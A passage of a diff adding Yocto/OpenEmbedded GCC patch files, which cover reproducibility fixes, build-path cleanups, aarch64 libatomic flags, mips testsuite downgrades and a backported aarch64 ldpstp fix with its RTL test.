index 0000000000..b6707592dc
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0021-gentypes-genmodes-Do-not-use-__LINE__-for-maintainin.patch
@@ -0,0 +1,182 @@
+From f15b19d8e058c983c49c4566c1879fdaf5b1ab54 Mon Sep 17 00:00:00 2001
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Date: Tue, 10 Mar 2020 08:26:53 -0700
+Subject: [PATCH] gentypes/genmodes: Do not use __LINE__ for maintaining
+ reproducibility
+
+Inserting line numbers into generated code means its not always reproducible wth
+differing versions of host gcc. Void the issue by not adding these.
+
+Upstream-Status: Inappropriate [OE Reproducibility specific]
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ gcc/gengtype.cc | 6 +++---
+ gcc/genmodes.cc | 32 ++++++++++++++++----------------
+ 2 files changed, 19 insertions(+), 19 deletions(-)
+
+diff --git a/gcc/gengtype.cc b/gcc/gengtype.cc
+index 7763f40e9ab..4f0c1eb1508 100644
+--- a/gcc/gengtype.cc
++++ b/gcc/gengtype.cc
+@@ -1005,7 +1005,7 @@ create_field_at (pair_p next, type_p type, const char *name, options_p opt,
+ /* Create a fake field with the given type and name. NEXT is the next
+ field in the chain. */
+ #define create_field(next,type,name) \
+- create_field_all (next,type,name, 0, this_file, __LINE__)
++ create_field_all (next,type,name, 0, this_file, 0)
+
+ /* Like create_field, but the field is only valid when condition COND
+ is true. */
+@@ -1038,7 +1038,7 @@ create_optional_field_ (pair_p next, type_p type, const char *name,
+ }
+
+ #define create_optional_field(next,type,name,cond) \
+- create_optional_field_(next,type,name,cond,__LINE__)
++ create_optional_field_(next,type,name,cond,0)
+
+ /* Reverse a linked list of 'struct pair's in place. */
+ pair_p
+@@ -5223,7 +5223,7 @@ main (int argc, char **argv)
+ /* These types are set up with #define or else outside of where
+ we can see them. We should initialize them before calling
+ read_input_list. */
+-#define POS_HERE(Call) do { pos.file = this_file; pos.line = __LINE__; \
++#define POS_HERE(Call) do { pos.file = this_file; pos.line = 0; \
+ Call;} while (0)
+ POS_HERE (do_scalar_typedef ("CUMULATIVE_ARGS", &pos));
+ POS_HERE (do_scalar_typedef ("REAL_VALUE_TYPE", &pos));
+diff --git a/gcc/genmodes.cc b/gcc/genmodes.cc
+index 715787b8f48..302adff28d5 100644
+--- a/gcc/genmodes.cc
++++ b/gcc/genmodes.cc
+@@ -441,7 +441,7 @@ complete_all_modes (void)
+ }
+
+ /* For each mode in class CLASS, construct a corresponding complex mode. */
+-#define COMPLEX_MODES(C) make_complex_modes (MODE_##C, __FILE__, __LINE__)
++#define COMPLEX_MODES(C) make_complex_modes (MODE_##C, __FILE__, 0)
+ static void
+ make_complex_modes (enum mode_class cl,
+ const char *file, unsigned int line)
+@@ -500,7 +500,7 @@ make_complex_modes (enum mode_class cl,
+ having as many components as necessary. ORDER is the sorting order
+ of the mode, with smaller numbers indicating a higher priority. */
+ #define VECTOR_MODES_WITH_PREFIX(PREFIX, C, W, ORDER) \
+- make_vector_modes (MODE_##C, #PREFIX, W, ORDER, __FILE__, __LINE__)
++ make_vector_modes (MODE_##C, #PREFIX, W, ORDER, __FILE__, 0)
+ #define VECTOR_MODES(C, W) VECTOR_MODES_WITH_PREFIX (V, C, W, 0)
+ static void ATTRIBUTE_UNUSED
+ make_vector_modes (enum mode_class cl, const char *prefix, unsigned int width,
+@@ -553,7 +553,7 @@ make_vector_modes (enum mode_class cl, const char *prefix, unsigned int width,
+ BYTESIZE bytes in total. */
+ #define VECTOR_BOOL_MODE(NAME, COUNT, COMPONENT, BYTESIZE) \
+ make_vector_bool_mode (#NAME, COUNT, #COMPONENT, BYTESIZE, \
+- __FILE__, __LINE__)
++ __FILE__, 0)
+ static void ATTRIBUTE_UNUSED
+ make_vector_bool_mode (const char *name, unsigned int count,
+ const char *component, unsigned int bytesize,
+@@ -575,7 +575,7 @@ make_vector_bool_mode (const char *name, unsigned int count,
+ /* Input. */
+
+ #define _SPECIAL_MODE(C, N) \
+- make_special_mode (MODE_##C, #N, __FILE__, __LINE__)
++ make_special_mode (MODE_##C, #N, __FILE__, 0)
+ #define RANDOM_MODE(N) _SPECIAL_MODE (RANDOM, N)
+ #define CC_MODE(N) _SPECIAL_MODE (CC, N)
+
+@@ -588,7 +588,7 @@ make_special_mode (enum mode_class cl, const char *name,
+
+ #define INT_MODE(N, Y) FRACTIONAL_INT_MODE (N, -1U, Y)
+ #define FRACTIONAL_INT_MODE(N, B, Y) \
+- make_int_mode (#N, B, Y, __FILE__, __LINE__)
++ make_int_mode (#N, B, Y, __FILE__, 0)
+
+ static void
+ make_int_mode (const char *name,
+@@ -629,16 +629,16 @@ make_opaque_mode (const char *name,
+ }
+
+ #define FRACT_MODE(N, Y, F) \
+- make_fixed_point_mode (MODE_FRACT, #N, Y, 0, F, __FILE__, __LINE__)
++ make_fixed_point_mode (MODE_FRACT, #N, Y, 0, F, __FILE__, 0)
+
+ #define UFRACT_MODE(N, Y, F) \
+- make_fixed_point_mode (MODE_UFRACT, #N, Y, 0, F, __FILE__, __LINE__)
++ make_fixed_point_mode (MODE_UFRACT, #N, Y, 0, F, __FILE__, 0)
+
+ #define ACCUM_MODE(N, Y, I, F) \
+- make_fixed_point_mode (MODE_ACCUM, #N, Y, I, F, __FILE__, __LINE__)
++ make_fixed_point_mode (MODE_ACCUM, #N, Y, I, F, __FILE__, 0)
+
+ #define UACCUM_MODE(N, Y, I, F) \
+- make_fixed_point_mode (MODE_UACCUM, #N, Y, I, F, __FILE__, __LINE__)
++ make_fixed_point_mode (MODE_UACCUM, #N, Y, I, F, __FILE__, 0)
+
+ /* Create a fixed-point mode by setting CL, NAME, BYTESIZE, IBIT, FBIT,
+ FILE, and LINE. */
+@@ -659,7 +659,7 @@ make_fixed_point_mode (enum mode_class cl,
+
+ #define FLOAT_MODE(N, Y, F) FRACTIONAL_FLOAT_MODE (N, -1U, Y, F)
+ #define FRACTIONAL_FLOAT_MODE(N, B, Y, F) \
+- make_float_mode (#N, B, Y, #F, __FILE__, __LINE__)
++ make_float_mode (#N, B, Y, #F, __FILE__, 0)
+
+ static void
+ make_float_mode (const char *name,
+@@ -676,7 +676,7 @@ make_float_mode (const char *name,
+ #define DECIMAL_FLOAT_MODE(N, Y, F) \
+ FRACTIONAL_DECIMAL_FLOAT_MODE (N, -1U, Y, F)
+ #define FRACTIONAL_DECIMAL_FLOAT_MODE(N, B, Y, F) \
+- make_decimal_float_mode (#N, B, Y, #F, __FILE__, __LINE__)
++ make_decimal_float_mode (#N, B, Y, #F, __FILE__, 0)
+
+ static void
+ make_decimal_float_mode (const char *name,
+@@ -691,7 +691,7 @@ make_decimal_float_mode (const char *name,
+ }
+
+ #define RESET_FLOAT_FORMAT(N, F) \
+- reset_float_format (#N, #F, __FILE__, __LINE__)
++ reset_float_format (#N, #F, __FILE__, 0)
+ static void ATTRIBUTE_UNUSED
+ reset_float_format (const char *name, const char *format,
+ const char *file, unsigned int line)
+@@ -712,7 +712,7 @@ reset_float_format (const char *name, const char *format,
+
+ /* __intN support. */
+ #define INT_N(M,PREC) \
+- make_int_n (#M, PREC, __FILE__, __LINE__)
++ make_int_n (#M, PREC, __FILE__, 0)
+ static void ATTRIBUTE_UNUSED
+ make_int_n (const char *m, int bitsize,
+ const char *file, unsigned int line)
+@@ -741,7 +741,7 @@ make_int_n (const char *m, int bitsize,
+ /* Partial integer modes are specified by relation to a full integer
+ mode. */
+ #define PARTIAL_INT_MODE(M,PREC,NAME) \
+- make_partial_integer_mode (#M, #NAME, PREC, __FILE__, __LINE__)
++ make_partial_integer_mode (#M, #NAME, PREC, __FILE__, 0)
+ static void ATTRIBUTE_UNUSED
+ make_partial_integer_mode (const char *base, const char *name,
+ unsigned int precision,
+@@ -768,7 +768,7 @@ make_partial_integer_mode (const char *base, const char *name,
+ /* A single vector mode can be specified by naming its component
+ mode and the number of components. */
+ #define VECTOR_MODE_WITH_PREFIX(PREFIX, C, M, N, ORDER) \
+- make_vector_mode (MODE_##C, #PREFIX, #M, N, ORDER, __FILE__, __LINE__);
++ make_vector_mode (MODE_##C, #PREFIX, #M, N, ORDER, __FILE__, 0);
+ #define VECTOR_MODE(C, M, N) VECTOR_MODE_WITH_PREFIX(V, C, M, N, 0);
+ static void ATTRIBUTE_UNUSED
+ make_vector_mode (enum mode_class bclass,
+@@ -815,7 +815,7 @@ make_vector_mode (enum mode_class bclass,
+
+ /* Adjustability. */
+ #define _ADD_ADJUST(A, M, X, C1, C2) \
+- new_adjust (#M, &adj_##A, #A, #X, MODE_##C1, MODE_##C2, __FILE__, __LINE__)
++ new_adjust (#M, &adj_##A, #A, #X, MODE_##C1, MODE_##C2, __FILE__, 0)
+
+ #define ADJUST_NUNITS(M, X) _ADD_ADJUST (nunits, M, X, RANDOM, RANDOM)
+ #define ADJUST_BYTESIZE(M, X) _ADD_ADJUST (bytesize, M, X, RANDOM, RANDOM)
diff --git a/meta/recipes-devtools/gcc/gcc/0022-libatomic-Do-not-enforce-march-on-aarch64.patch b/meta/recipes-devtools/gcc/gcc/0022-libatomic-Do-not-enforce-march-on-aarch64.patch
new file mode 100644
index 0000000000..0ea8aac543
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0022-libatomic-Do-not-enforce-march-on-aarch64.patch
@@ -0,0 +1,42 @@
+From 939a899b862f7a25e52b74d1587fc75fc65779c0 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 13 May 2020 15:10:38 -0700
+Subject: [PATCH] libatomic: Do not enforce march on aarch64
+
+OE passes the right options via gcc compiler cmdline via TUNE_CCARGS
+this can conflict between -mcpu settings and -march setting here, since
+-mcpu will translate into an appropriate -march, lets depend on that
+instead of setting it explicitly
+
+Upstream-Status: Inappropriate [OE-Specific]
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ libatomic/Makefile.am | 1 -
+ libatomic/Makefile.in | 1 -
+ 2 files changed, 2 deletions(-)
+
+diff --git a/libatomic/Makefile.am b/libatomic/Makefile.am
+index c6c8d81c56a..d959a5d040e 100644
+--- a/libatomic/Makefile.am
++++ b/libatomic/Makefile.am
+@@ -125,7 +125,6 @@ libatomic_la_LIBADD = $(foreach s,$(SIZES),$(addsuffix _$(s)_.lo,$(SIZEOBJS)))
+ ## On a target-specific basis, include alternates to be selected by IFUNC.
+ if HAVE_IFUNC
+ if ARCH_AARCH64_LINUX
+-IFUNC_OPTIONS = -march=armv8-a+lse
+ libatomic_la_LIBADD += $(foreach s,$(SIZES),$(addsuffix _$(s)_1_.lo,$(SIZEOBJS)))
+ libatomic_la_SOURCES += atomic_16.S
+
+diff --git a/libatomic/Makefile.in b/libatomic/Makefile.in
+index a0fa3dfc8cc..e70d389874a 100644
+--- a/libatomic/Makefile.in
++++ b/libatomic/Makefile.in
+@@ -447,7 +447,6 @@ M_SRC = $(firstword $(filter %/$(M_FILE), $(all_c_files)))
+ libatomic_la_LIBADD = $(foreach s,$(SIZES),$(addsuffix \
+ _$(s)_.lo,$(SIZEOBJS))) $(am__append_1) $(am__append_3) \
+ $(am__append_4) $(am__append_5)
+-@ARCH_AARCH64_LINUX_TRUE@@HAVE_IFUNC_TRUE@IFUNC_OPTIONS = -march=armv8-a+lse
+ @ARCH_ARM_LINUX_TRUE@@HAVE_IFUNC_TRUE@IFUNC_OPTIONS = -march=armv7-a+fp -DHAVE_KERNEL64
+ @ARCH_I386_TRUE@@HAVE_IFUNC_TRUE@IFUNC_OPTIONS = -march=i586
+ @ARCH_X86_64_TRUE@@HAVE_IFUNC_TRUE@IFUNC_OPTIONS = -mcx16 -mcx16
diff --git a/meta/recipes-devtools/gcc/gcc/0023-Fix-install-path-of-linux64.h.patch b/meta/recipes-devtools/gcc/gcc/0023-Fix-install-path-of-linux64.h.patch
new file mode 100644
index 0000000000..cd962d82bd
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0023-Fix-install-path-of-linux64.h.patch
@@ -0,0 +1,31 @@
+From 696d696381dd99ec2bddb1170f96f98da36eb418 Mon Sep 17 00:00:00 2001
+From: Andrei Gherzan <andrei.gherzan@huawei.com>
+Date: Wed, 22 Dec 2021 12:49:25 +0100
+Subject: [PATCH] Fix install path of linux64.h
+
+We add linux64.h to tm includes[1] as a relative path to B. This patch
+adapts the install path of linux64.h to match the include in tm.h.
+
+[1] 0016-Use-the-multilib-config-files-from-B-instead-of-usin.patch
+
+Signed-off-by: Andrei Gherzan <andrei.gherzan@huawei.com>
+
+Upstream-Status: Inappropriate [configuration]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ gcc/Makefile.in | 2 ++
+ 1 file changed, 2 insertions(+)
+
+diff --git a/gcc/Makefile.in b/gcc/Makefile.in
+index 8ef996c0f4d..21daf380e34 100644
+--- a/gcc/Makefile.in
++++ b/gcc/Makefile.in
+@@ -3731,6 +3731,8 @@ install-plugin: installdirs lang.install-plugin s-header-vars install-gengtype
+ "$(srcdir)"/config/* | "$(srcdir)"/common/config/* \
+ | "$(srcdir)"/c-family/* | "$(srcdir)"/*.def ) \
+ base=`echo "$$path" | sed -e "s|$$srcdirstrip/||"`;; \
++ */linux64.h ) \
++ base=`dirname $$path`;;\
+ *) base=`basename $$path` ;; \
+ esac; \
+ dest=$(plugin_includedir)/$$base; \
diff --git a/meta/recipes-devtools/gcc/gcc/0024-Avoid-hardcoded-build-paths-into-ppc-libgcc.patch b/meta/recipes-devtools/gcc/gcc/0024-Avoid-hardcoded-build-paths-into-ppc-libgcc.patch
new file mode 100644
index 0000000000..04d940ae0b
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0024-Avoid-hardcoded-build-paths-into-ppc-libgcc.patch
@@ -0,0 +1,28 @@
+From 9487b1d6136ea09cce4792d59d0170c712575550 Mon Sep 17 00:00:00 2001
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Date: Sat, 20 Aug 2022 09:04:14 -0700
+Subject: [PATCH] Avoid hardcoded build paths into ppc libgcc
+
+Avoid encoding build paths into sources used for floating point on powerpc.
+(MACHINE=qemuppc bitbake libgcc).
+
+Upstream-Status: Submitted [https://gcc.gnu.org/pipermail/gcc-patches/2022-August/599882.html]
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ libgcc/config/rs6000/t-float128 | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/libgcc/config/rs6000/t-float128 b/libgcc/config/rs6000/t-float128
+index b09b5664af0..513e63748f1 100644
+--- a/libgcc/config/rs6000/t-float128
++++ b/libgcc/config/rs6000/t-float128
+@@ -103,7 +103,7 @@ $(ibm128_dec_objs) : INTERNAL_CFLAGS += $(IBM128_CFLAGS_DECIMAL)
+ $(fp128_softfp_src) : $(srcdir)/soft-fp/$(subst -sw,,$(subst kf,tf,$@)) $(fp128_dep)
+ @src="$(srcdir)/soft-fp/$(subst -sw,,$(subst kf,tf,$@))"; \
+ echo "Create $@"; \
+- (echo "/* file created from $$src */"; \
++ (echo "/* file created from `basename $$src` */"; \
+ echo; \
+ sed -f $(fp128_sed) < $$src) > $@
+
diff --git a/meta/recipes-devtools/gcc/gcc/0025-gcc-testsuite-tweaks-for-mips-OE.patch b/meta/recipes-devtools/gcc/gcc/0025-gcc-testsuite-tweaks-for-mips-OE.patch
new file mode 100644
index 0000000000..e4d57c27ef
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0025-gcc-testsuite-tweaks-for-mips-OE.patch
@@ -0,0 +1,233 @@
+From f12acc6a383546d48da3bdfb2f25ca2adb7976d7 Mon Sep 17 00:00:00 2001
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Date: Sun, 13 Aug 2023 10:24:05 +0100
+Subject: [PATCH] gcc testsuite tweaks for mips/OE
+
+Disable loongson-mmi runtine, qemu doesn't appear to fully support them even if some
+of the instruction decoding is there.
+
+Also disable MSA mips runtime extensions. For some reason qemu appears to accept the test
+code when it shouldn't. Our selected MIPS cpu for QEMU doesn't support them.
+
+MIPS is unusual in the gcc testsuite as it uses EFFECTIVE_TARGETS and loops
+multiple times through the vector testsuite. In the case of the two above, we can
+compile/link them but not run them. Even with the runtime disabled, if the code
+marks it as a runtime test, it will elevate itself to that. Setting the default
+target to compile therefore isn't enough.
+
+Therefore add code to downgrade runtime tests to link tests if the hardware
+support isn't there to run them. This avoids thousands of test failures. To do
+this we have to hook downgrade code into the main test runner.
+
+Enable that downgrading for other cases where hardware to run vector extensions is
+unavailable to remove test failures on other architectures too.
+
+Also, for gcc.target tests, add checks on wheter loongson or msa code can
+be run before trying that, allowing downgrading of tests there to work too.
+
+Upstream-Status: Pending
+[Parts of the patch may be able to be split off and acceptable to upstream with
+discussion. Need to investigate why qemu-user passes the 'bad' instructions']
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+---
+ gcc/testsuite/gcc.target/mips/mips.exp | 16 +++++++++
+ gcc/testsuite/lib/gcc-dg.exp | 11 +++++++
+ gcc/testsuite/lib/target-supports.exp | 45 ++++++++------------------
+ 3 files changed, 41 insertions(+), 31 deletions(-)
+
+diff --git a/gcc/testsuite/gcc.target/mips/mips.exp b/gcc/testsuite/gcc.target/mips/mips.exp
+index 15d574202d3..2cef9709774 100644
+--- a/gcc/testsuite/gcc.target/mips/mips.exp
++++ b/gcc/testsuite/gcc.target/mips/mips.exp
+@@ -709,7 +709,23 @@ proc mips_first_unsupported_option { upstatus } {
+ global mips_option_tests
+ upvar $upstatus status
+
++ if { [mips_have_test_option_p status "-mmsa"] } {
++ verbose -log "Found -mmsa"
++ if { ![check_mips_msa_hw_available] } {
++ verbose -log "No MSA avail"
++ return "-mmsa"
++ }
++ }
++ if { [mips_have_test_option_p status "-mloongson-mmi"] } {
++ verbose -log "Found -mloonson-mmi"
++ if { ![check_mips_loongson_mmi_hw_available] } {
++ verbose -log "No MMI avail"
++ return "-mloonson-mmi"
++ }
++ }
++
+ foreach { option code } [array get mips_option_tests] {
++
+ if { [mips_have_test_option_p status $option] } {
+ regsub -all "\n" $code "\\n\\\n" asm
+ # Use check_runtime from target-supports.exp, which caches
+diff --git a/gcc/testsuite/lib/gcc-dg.exp b/gcc/testsuite/lib/gcc-dg.exp
+index 9d79b9402e9..e0e5cbb1af8 100644
+--- a/gcc/testsuite/lib/gcc-dg.exp
++++ b/gcc/testsuite/lib/gcc-dg.exp
+@@ -240,9 +240,20 @@ proc schedule-cleanups { opts } {
+
+ proc gcc-dg-test-1 { target_compile prog do_what extra_tool_flags } {
+ # Set up the compiler flags, based on what we're going to do.
++ global do-what-limit
+
+ set options [list]
+
++ if [info exists do-what-limit] then {
++ # Demote run tests to $do-what-limit if set
++ switch $do_what {
++ run {
++ set do_what ${do-what-limit}
++ set dg-do-what ${do-what-limit}
++ }
++ }
++ }
++
+ switch $do_what {
+ "preprocess" {
+ set compile_type "preprocess"
+diff --git a/gcc/testsuite/lib/target-supports.exp b/gcc/testsuite/lib/target-supports.exp
+index 40f71e9ed8b..10e267fa16d 100644
+--- a/gcc/testsuite/lib/target-supports.exp
++++ b/gcc/testsuite/lib/target-supports.exp
+@@ -2155,14 +2155,7 @@ proc check_mips_loongson_mmi_hw_available { } {
+ if { !([istarget mips*-*-*]) } {
+ expr 0
+ } else {
+- check_runtime_nocache mips_loongson_mmi_hw_available {
+- #include <loongson-mmiintrin.h>
+- int main()
+- {
+- asm volatile ("paddw $f2,$f4,$f6");
+- return 0;
+- }
+- } "-mloongson-mmi"
++ expr 0
+ }
+ }]
+ }
+@@ -2176,29 +2169,7 @@ proc check_mips_msa_hw_available { } {
+ if { !([istarget mips*-*-*]) } {
+ expr 0
+ } else {
+- check_runtime_nocache mips_msa_hw_available {
+- #if !defined(__mips_msa)
+- #error "MSA NOT AVAIL"
+- #else
+- #if !(((__mips == 64) || (__mips == 32)) && (__mips_isa_rev >= 2))
+- #error "MSA NOT AVAIL FOR ISA REV < 2"
+- #endif
+- #if !defined(__mips_hard_float)
+- #error "MSA HARD_FLOAT REQUIRED"
+- #endif
+- #if __mips_fpr != 64
+- #error "MSA 64-bit FPR REQUIRED"
+- #endif
+- #include <msa.h>
+-
+- int main()
+- {
+- v8i16 v = __builtin_msa_ldi_h (0);
+- v[0] = 0;
+- return v[0];
+- }
+- #endif
+- } "-mmsa"
++ expr 0
+ }
+ }]
+ }
+@@ -9187,6 +9158,7 @@ proc is-effective-target-keyword { arg } {
+
+ proc et-dg-runtest { runtest testcases flags default-extra-flags } {
+ global dg-do-what-default
++ global do-what-limit
+ global EFFECTIVE_TARGETS
+ global et_index
+
+@@ -9194,6 +9166,7 @@ proc et-dg-runtest { runtest testcases flags default-extra-flags } {
+ foreach target $EFFECTIVE_TARGETS {
+ set target_flags $flags
+ set dg-do-what-default compile
++ set do-what-limit link
+ set et_index [lsearch -exact $EFFECTIVE_TARGETS $target]
+ if { [info procs add_options_for_${target}] != [list] } {
+ set target_flags [add_options_for_${target} "$flags"]
+@@ -9201,8 +9174,10 @@ proc et-dg-runtest { runtest testcases flags default-extra-flags } {
+ if { [info procs check_effective_target_${target}_runtime]
+ != [list] && [check_effective_target_${target}_runtime] } {
+ set dg-do-what-default run
++ set do-what-limit run
+ }
+ $runtest $testcases $target_flags ${default-extra-flags}
++ unset do-what-limit
+ }
+ } else {
+ set et_index 0
+@@ -10789,6 +10764,7 @@ proc check_effective_target_sigsetjmp {} {
+ proc check_vect_support_and_set_flags { } {
+ global DEFAULT_VECTCFLAGS
+ global dg-do-what-default
++ global do-what-limit
+ global EFFECTIVE_TARGETS
+
+ if [istarget powerpc-*paired*] {
+@@ -10797,6 +10773,7 @@ proc check_vect_support_and_set_flags { } {
+ set dg-do-what-default run
+ } else {
+ set dg-do-what-default compile
++ set do-what-limit link
+ }
+ } elseif [istarget powerpc*-*-*] {
+ # Skip targets not supporting -maltivec.
+@@ -10821,6 +10798,7 @@ proc check_vect_support_and_set_flags { } {
+ lappend DEFAULT_VECTCFLAGS "-mcpu=970"
+ }
+ set dg-do-what-default compile
++ set do-what-limit link
+ }
+ } elseif { [istarget i?86-*-*] || [istarget x86_64-*-*] } {
+ lappend DEFAULT_VECTCFLAGS "-msse2"
+@@ -10828,6 +10806,7 @@ proc check_vect_support_and_set_flags { } {
+ set dg-do-what-default run
+ } else {
+ set dg-do-what-default compile
++ set do-what-limit link
+ }
+ } elseif { [istarget mips*-*-*]
+ && [check_effective_target_nomips16] } {
+@@ -10847,6 +10826,7 @@ proc check_vect_support_and_set_flags { } {
+ set dg-do-what-default run
+ } else {
+ set dg-do-what-default compile
++ set do-what-limit link
+ }
+ } elseif [istarget alpha*-*-*] {
+ # Alpha's vectorization capabilities are extremely limited.
+@@ -10860,6 +10840,7 @@ proc check_vect_support_and_set_flags { } {
+ set dg-do-what-default run
+ } else {
+ set dg-do-what-default compile
++ set do-what-limit link
+ }
+ } elseif [istarget ia64-*-*] {
+ set dg-do-what-default run
+@@ -10873,6 +10854,7 @@ proc check_vect_support_and_set_flags { } {
+ set dg-do-what-default run
+ } else {
+ set dg-do-what-default compile
++ set do-what-limit link
+ }
+ } elseif [istarget aarch64*-*-*] {
+ set dg-do-what-default run
+@@ -10897,6 +10879,7 @@ proc check_vect_support_and_set_flags { } {
+ } else {
+ lappend DEFAULT_VECTCFLAGS "-march=z14" "-mzarch"
+ set dg-do-what-default compile
++ set do-what-limit link
+ }
+ } elseif [istarget amdgcn-*-*] {
+ set dg-do-what-default run
diff --git a/meta/recipes-devtools/gcc/gcc/0026-aarch64-Fix-loose-ldpstp-check-PR111411.patch b/meta/recipes-devtools/gcc/gcc/0026-aarch64-Fix-loose-ldpstp-check-PR111411.patch
new file mode 100644
index 0000000000..a408a98698
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0026-aarch64-Fix-loose-ldpstp-check-PR111411.patch
@@ -0,0 +1,117 @@
+From adb60dc78e0da4877747f32347cee339364775be Mon Sep 17 00:00:00 2001
+From: Richard Sandiford <richard.sandiford@arm.com>
+Date: Fri, 15 Sep 2023 09:19:14 +0100
+Subject: [PATCH] aarch64: Fix loose ldpstp check [PR111411]
+
+aarch64_operands_ok_for_ldpstp contained the code:
+
+ /* One of the memory accesses must be a mempair operand.
+ If it is not the first one, they need to be swapped by the
+ peephole. */
+ if (!aarch64_mem_pair_operand (mem_1, GET_MODE (mem_1))
+ && !aarch64_mem_pair_operand (mem_2, GET_MODE (mem_2)))
+ return false;
+
+But the requirement isn't just that one of the accesses must be a
+valid mempair operand. It's that the lower access must be, since
+that's the access that will be used for the instruction operand.
+
+gcc/
+ PR target/111411
+ * config/aarch64/aarch64.cc (aarch64_operands_ok_for_ldpstp): Require
+ the lower memory access to a mem-pair operand.
+
+gcc/testsuite/
+ PR target/111411
+ * gcc.dg/rtl/aarch64/pr111411.c: New test.
+
+Upstream-Status: Backport [https://gcc.gnu.org/git/gitweb.cgi?p=gcc.git;h=2d38f45bcca62ca0c7afef4b579f82c5c2a01610]
+Signed-off-by: Martin Jansa <martin.jansa@gmail.com>
+---
+ gcc/config/aarch64/aarch64.cc | 8 ++-
+ gcc/testsuite/gcc.dg/rtl/aarch64/pr111411.c | 57 +++++++++++++++++++++
+ 2 files changed, 60 insertions(+), 5 deletions(-)
+ create mode 100644 gcc/testsuite/gcc.dg/rtl/aarch64/pr111411.c
+
+diff --git a/gcc/config/aarch64/aarch64.cc b/gcc/config/aarch64/aarch64.cc
+index 6118a3354ac..9b1f791ca8b 100644
+--- a/gcc/config/aarch64/aarch64.cc
++++ b/gcc/config/aarch64/aarch64.cc
+@@ -26154,11 +26154,9 @@ aarch64_operands_ok_for_ldpstp (rtx *operands, bool load,
+ gcc_assert (known_eq (GET_MODE_SIZE (GET_MODE (mem_1)),
+ GET_MODE_SIZE (GET_MODE (mem_2))));
+
+- /* One of the memory accesses must be a mempair operand.
+- If it is not the first one, they need to be swapped by the
+- peephole. */
+- if (!aarch64_mem_pair_operand (mem_1, GET_MODE (mem_1))
+- && !aarch64_mem_pair_operand (mem_2, GET_MODE (mem_2)))
++ /* The lower memory access must be a mem-pair operand. */
++ rtx lower_mem = reversed ? mem_2 : mem_1;
++ if (!aarch64_mem_pair_operand (lower_mem, GET_MODE (lower_mem)))
+ return false;
+
+ if (REG_P (reg_1) && FP_REGNUM_P (REGNO (reg_1)))
+diff --git a/gcc/testsuite/gcc.dg/rtl/aarch64/pr111411.c b/gcc/testsuite/gcc.dg/rtl/aarch64/pr111411.c
+new file mode 100644
+index 00000000000..ad07e9c6c89
+--- /dev/null
++++ b/gcc/testsuite/gcc.dg/rtl/aarch64/pr111411.c
+@@ -0,0 +1,57 @@
++/* { dg-do compile { target aarch64*-*-* } } */
++/* { dg-require-effective-target lp64 } */
++/* { dg-options "-O -fdisable-rtl-postreload -fpeephole2 -fno-schedule-fusion" } */
++
++extern int data[];
++
++void __RTL (startwith ("ira")) foo (void *ptr)
++{
++ (function "foo"
++ (param "ptr"
++ (DECL_RTL (reg/v:DI <0> [ ptr ]))
++ (DECL_RTL_INCOMING (reg/v:DI x0 [ ptr ]))
++ ) ;; param "ptr"
++ (insn-chain
++ (block 2
++ (edge-from entry (flags "FALLTHRU"))
++ (cnote 3 [bb 2] NOTE_INSN_BASIC_BLOCK)
++ (insn 4 (set (reg:DI <0>) (reg:DI x0)))
++ (insn 5 (set (reg:DI <1>)
++ (plus:DI (reg:DI <0>) (const_int 768))))
++ (insn 6 (set (mem:SI (plus:DI (reg:DI <0>)
++ (const_int 508)) [1 &data+508 S4 A4])
++ (const_int 0)))
++ (insn 7 (set (mem:SI (plus:DI (reg:DI <1>)
++ (const_int -256)) [1 &data+512 S4 A4])
++ (const_int 0)))
++ (edge-to exit (flags "FALLTHRU"))
++ ) ;; block 2
++ ) ;; insn-chain
++ ) ;; function
++}
++
++void __RTL (startwith ("ira")) bar (void *ptr)
++{
++ (function "bar"
++ (param "ptr"
++ (DECL_RTL (reg/v:DI <0> [ ptr ]))
++ (DECL_RTL_INCOMING (reg/v:DI x0 [ ptr ]))
++ ) ;; param "ptr"
++ (insn-chain
++ (block 2
++ (edge-from entry (flags "FALLTHRU"))
++ (cnote 3 [bb 2] NOTE_INSN_BASIC_BLOCK)
++ (insn 4 (set (reg:DI <0>) (reg:DI x0)))
++ (insn 5 (set (reg:DI <1>)
++ (plus:DI (reg:DI <0>) (const_int 768))))
++ (insn 6 (set (mem:SI (plus:DI (reg:DI <1>)
++ (const_int -256)) [1 &data+512 S4 A4])
++ (const_int 0)))
++ (insn 7 (set (mem:SI (plus:DI (reg:DI <0>)
++ (const_int 508)) [1 &data+508 S4 A4])
++ (const_int 0)))
++ (edge-to exit (flags "FALLTHRU"))
++ ) ;; block 2
++ ) ;; insn-chain
++ ) ;; function
++}
diff --git a/meta/recipes-devtools/gcc/gcc/0027-Fix-gcc-vect-module-testcases.patch b/meta/recipes-devtools/gcc/gcc/0027-Fix-gcc-vect-module-testcases.patch
new file mode 100644
index 0000000000..4b89036814
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0027-Fix-gcc-vect-module-testcases.patch
@@ -0,0 +1,26 @@
+Upstream-Status: Backport [https://gcc.gnu.org/git/gitweb.cgi?p=gcc.git;h=948dbc5ee45f9ffd5f41fd6782704081cc7c8c27]
+
+Signed-off-by: Harish Sadineni <Harish.Sadineni@windriver.com>
+
+diff --git a/gcc/testsuite/gcc.dg/vect/vect-simd-clone-10.c b/gcc/testsuite/gcc.dg/vect/vect-simd-clone-10.c
+index ed63ff59cc0..009c849b7e7 100644
